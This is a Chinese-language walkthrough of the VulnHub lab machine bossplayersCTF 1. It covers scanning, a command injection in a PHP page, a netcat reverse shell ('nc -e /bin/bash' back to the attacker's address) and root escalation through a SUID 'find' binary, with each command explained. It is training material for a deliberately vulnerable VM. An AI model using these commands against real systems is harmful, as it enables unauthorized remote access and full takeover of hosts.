https://www.vulnhub.com/entry/bossplayersctf-1,375/
https://download.vulnhub.com/bossplayers/bossplayersCTF.ova
信息收集:
查看Kali机-本机的IP地址
命令:ifconfig(或使用ip address)
获取到kali机的IP地址是192.168.200.130
(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.200.130 netmask 255.255.255.0 broadcast 192.168.200.255
inet6 fe80::e7e2:e104:ca:839f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:bc:f3:3f txqueuelen 1000 (Ethernet)
RX packets 70088 bytes 5246500 (5.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 72317 bytes 4404612 (4.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2016 bytes 84960 (82.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2016 bytes 84960 (82.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
获取靶机IP地址
打开靶机后,获取靶机的MAC地址
发现同网段存活地址(环境是kali机和靶场都在NAT模式下)
命令: arp-scan 192.168.200.0/24
通过比对靶机的MAC地址,得到靶机的IP地址为192.168.200.132
(root㉿kali)-[~]
└─# arp-scan 192.168.200.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:bc:f3:3f, IPv4: 192.168.200.130
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.200.1 00:50:56:c0:00:08 VMware, Inc.
192.168.200.2 00:50:56:fe:ad:16 VMware, Inc.
192.168.200.132 00:0c:29:61:a0:49 VMware, Inc.
192.168.200.254 00:50:56:e0:6b:0c VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.091 seconds (122.43 hosts/sec). 4 responded
查看bossplayersCTF1靶场安装的服务及操作系统版本
使用命令:nmap -sS -sV -T4 -A -p- 192.168.200.132
─(root㉿kali)-[~]
└─# nmap -sS -sV -T4 -A -p- 192.168.200.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 10:33 EDT
Nmap scan report for 192.168.200.132
Host is up (0.00059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
| 256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
|_ 256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:61:A0:49 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.59 ms 192.168.200.132
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds
得到有用信息:
①靶机开放的端口有22、80(ssh、http)
②web服务器软件是Apache
访问Web服务
kali虚拟机浏览器访问:http://192.168.200.132
意思是:
bossplayers CTF - 由 Cuong Nguyen 创建
难度等级:[* ] [ ] [ ] [ ] [ ]
描述:大家好!这是一个我创建的非常简单的CTF(Capture The Flag,夺旗赛),专为那些想要初试身手的人设计。请采用系统的方法,并避免陷入陷阱!我希望你们能喜欢这个游戏,但最重要的是,请享受其中的乐趣!
但是好像得不到什么有用的信息,后面的这个网站也访问不了;只是作者的对靶场的描述而已;
对Web服务器的目录扫描操作
命令:dirb http://192.168.200.132
──(root㉿kali)-[~]
└─# dirb http://192.168.200.132
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Sep 13 10:35:43 2024
URL_BASE: http://192.168.200.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.200.132/ ----
+ http://192.168.200.132/index.html (CODE:200|SIZE:575)
+ http://192.168.200.132/robots.txt (CODE:200|SIZE:53)
+ http://192.168.200.132/server-status (CODE:403|SIZE:303)
-----------------
END_TIME: Fri Sep 13 10:35:46 2024
DOWNLOADED: 4612 - FOUND: 3
这里有用的只有robot.txt可以进行访问:
意思是:
超级秘密密码 - bG9sIHRyeSBoYXJkZXIgYnJvCg==
这个加密的密码好像是base64加密过的!
访问网站:md5在线解密破解,md5解密加密进行破解
好像又是没有用的信息!难道有什么信息被隐藏起来了?
这个时候只能抓包查看前面访问两个网站;
使用BurpSuite抓包
通过查看了访问robot.txt的包
访问网站:md5在线解密破解,md5解密加密进行破解
通过继续破解得到:
得到:应该是可以进行访问的URL路径:
http://192.168.200.132/workinginprogress.php
似乎是一个系统安装或配置过程中的检查列表。
根据观察判断,*号应该是已经完成的任务,
"Test ping command - [ ]" 翻译为:“测试ping命令 - [ ]” (这里的[ ]表示该项任务尚未完成)
"Fix Privilege Escalation - [ ]" 翻译为:“修复权限提升问题 - [ ]” (同样,[ ]表示该任务尚未被解决)
这个脚步文件好像是可以进行执行命令的,原因根据提示是它居然可以进行ping操作!
难道是web漏洞是--命令注入?
漏洞利用--命令注入
修改访问的URL:
http://192.168.200.132/workinginprogress.php?cmd=whoami
这个是对Web服务器发送一个请求,要求执行workinginprogress.php文件,并传递一个名为cmd的参数,其值为whoami;
发现居然可以得到内容!
然后进行传递id命令
传递pwd,查看当前目录
传递uname -a查看内核版本
这里已经相当于shelll了,接下来就是反弹shell了
反弹shell
kali机监听端口
nc -lvp 4567
──(root㉿kali)-[~]
└─# nc -lvp 4567
listening on [any] 4567 ...
URL改为http://192.168.200.132/workinginprogress.php?cmd=nc -e /bin/bash 192.168.200.130 4567
命令解析:
nc -lvp 4567
nc:这是 Netcat 的命令,Netcat 是一个功能强大的网络工具,用于读写网络连接。它可以用来创建 TCP 或 UDP 流和监听这些流上的端口。
-l:这个选项告诉 Netcat 以监听模式运行,即等待进入的连接,而不是主动向外发起连接。
-v:这个选项表示“verbose”(详细模式),它会使得 Netcat 在执行时输出更多的信息,比如连接的状态和接收到的数据。
-p 4567:这个选项指定了 Netcat 应该监听的端口号,这里是 4567 端口。-p 后面紧跟端口号,中间没有空格。
nc -e /bin/bash 192.168.200.130 4567
使用 Netcat (nc) 工具以反向 shell 的形式连接到 IP 地址为 192.168.200.130 的主机上的 4567 端口
得到shell后执行操作,发现和我们在浏览器修改传递参数得到的内容一致
┌──(root㉿kali)-[~]
└─# nc -lvp 4567
listening on [any] 4567 ...
192.168.200.132: inverse host lookup failed: Unknown host
connect to [192.168.200.130] from (UNKNOWN) [192.168.200.132] 36024
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
pwd
/var/www/html
uname -a
Linux bossplayers 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux
使用python命令转换成交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bossplayers:/var/www/html$
后续经过一系列检测,发现很多的文件权限都是root权限,技穷与此!
权限提权
使用命令:
find / -perm -u=s -type f 2>/dev/null
www-data@bossplayers:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
find . -exec /bin/bash -p \;
www-data@bossplayers:/var/www/html$ find . -exec /bin/bash -p \;
find . -exec /bin/bash -p \;
bash-5.0#
命令解析:
find / -perm -u=s -type f 2>/dev/null
find /:从根目录(/)开始递归查找文件系统中的所有文件和目录。
-perm -u=s:查找那些用户(文件所有者)具有设置用户ID(SUID)权限的文件。设置用户ID权限允许用户在执行该文件时暂时获得文件所有者的权限。这通常用于需要提升权限来执行某些操作的程序。
-type f:仅匹配文件类型为普通文件的项。
2>/dev/null:将错误输出(文件不存在、权限问题等)重定向到/dev/null,即忽略它们。/dev/null是一个特殊的设备文件,写入它的任何数据都会被丢弃(即“黑洞”)
find . -exec /bin/bash -p \;
find .:从当前目录(.)开始递归查找文件系统中的所有文件和目录。
-exec /bin/bash -p \;:-exec选项允许对匹配的文件执行指定的命令。意图是启动一个新的bash会话。
\;:这是-exec命令的结束标记,告诉find命令-exec参数到此结束。每个找到的匹配项都会执行-exec指定的命令
寻找flag
bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
root.txt
bash-5.0# cat root.txt
cat root.txt
Y29uZ3JhdHVsYXRpb25zCg==
破解密文Y29uZ3JhdHVsYXRpb25zCg==